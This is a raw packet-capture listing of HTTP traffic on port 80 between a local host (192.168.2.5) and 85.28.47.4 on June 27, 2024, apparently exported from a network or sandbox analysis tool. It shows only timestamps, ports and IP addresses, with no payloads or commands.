Jun 27, 2024 19:25:59.960287094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.960295916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960313082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960313082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.960314035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.960328102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960338116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.960346937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960357904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.960362911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960372925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.960380077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960388899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960391998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.960398912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.960443974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961168051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961183071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961196899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961211920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961222887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961226940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961246014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961246014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961261034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961272001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961272955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961278915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961296082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961298943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961298943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961312056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961319923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961330891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961338997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961348057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961363077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961364985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961380005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961383104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961395025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961407900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961414099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.961429119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961451054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.961451054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.962047100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.962063074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.962078094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.962094069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.962105989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.962105989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.962141991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.962142944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.043678045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.043699026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.043715954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.043751001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.043770075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.043796062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.043812037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.043827057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.043838024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.043843031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.043859005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.043869019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.043883085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.043998957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044045925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044076920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044121027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044193983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044240952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044254065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044270992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044292927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044321060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044400930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044418097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044451952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044450998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044508934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044509888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044616938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044632912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044647932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044677019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044677019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044712067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044764996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044780970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044804096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044817924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044817924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044819117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.044863939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.044893980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.045033932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045077085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045094013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045094967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.045120001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.045145988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.045257092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045272112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045294046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045301914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045309067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.045344114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.045921087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045936108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045949936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045965910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045981884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.045995951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.045995951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.045998096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046014071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046020985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046040058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046041012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046057940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046060085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046073914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046082020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046092033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046109915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046109915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046152115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046278954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046293974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046308994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046327114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046331882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046344995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046348095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046363115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046377897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046381950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046395063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046402931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046411037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046423912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046428919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046452999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046459913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046459913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046489000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046489000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.046963930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046978951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.046993017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047008038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047019958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047023058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047039986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047041893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047056913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047060966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047072887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047081947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047081947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047091007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047107935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047115088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047115088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047123909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047133923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047141075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047157049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047159910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047159910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047173977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047178984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047199011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047228098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047739983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047755003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047770023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.047804117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047804117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.047843933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.141741037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.146505117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.317738056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.317758083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.317775965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.317826986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.317826986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.318211079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.318227053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.318242073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.318257093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.318258047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.318274975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.318285942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.318285942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.318289042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.318306923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.318305016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.318331957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.318331957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.318351030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.319231033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319247007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319297075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.319361925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319377899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319392920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319408894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.319439888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.319515944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319531918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319546938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319562912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319571018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.319577932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319593906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.319595098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319612980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319612980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.319638968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.319638968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.319658995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.319894075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319911003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.319955111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320045948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320061922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320076942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320091963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320110083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320111036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320118904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320136070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320137024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320137024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320151091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320168018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320175886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320189953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320193052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320209026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320220947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320240974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320261002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320806980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320822954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320837021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320853949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320869923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320869923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320888996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320897102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320905924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320923090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320923090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320940018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320940018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320955992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320965052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320966005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320974112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.320985079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.320991039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321003914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321008921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321026087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321026087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321026087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321050882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321069956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321736097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321753025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321767092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321783066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321794987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321798086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321815014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321818113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321831942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321842909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321850061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321862936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321866035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321883917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321888924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321888924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321901083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321909904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321919918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321929932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321935892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321950912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321954012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.321971893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321971893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.321995974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322645903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322664022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322679043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322694063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322704077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322710037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322722912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322727919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322742939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322760105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322766066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322767019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322777033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322788000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322793961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322804928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322813034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322824955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322824955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322832108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322848082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322860003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322865009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322881937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.322885036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322885036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322904110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.322922945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323560953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323577881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323590994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323605061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323620081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:00.323622942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:00.323637009 CEST	80	49705	85.28.47.4	192.168.2.5
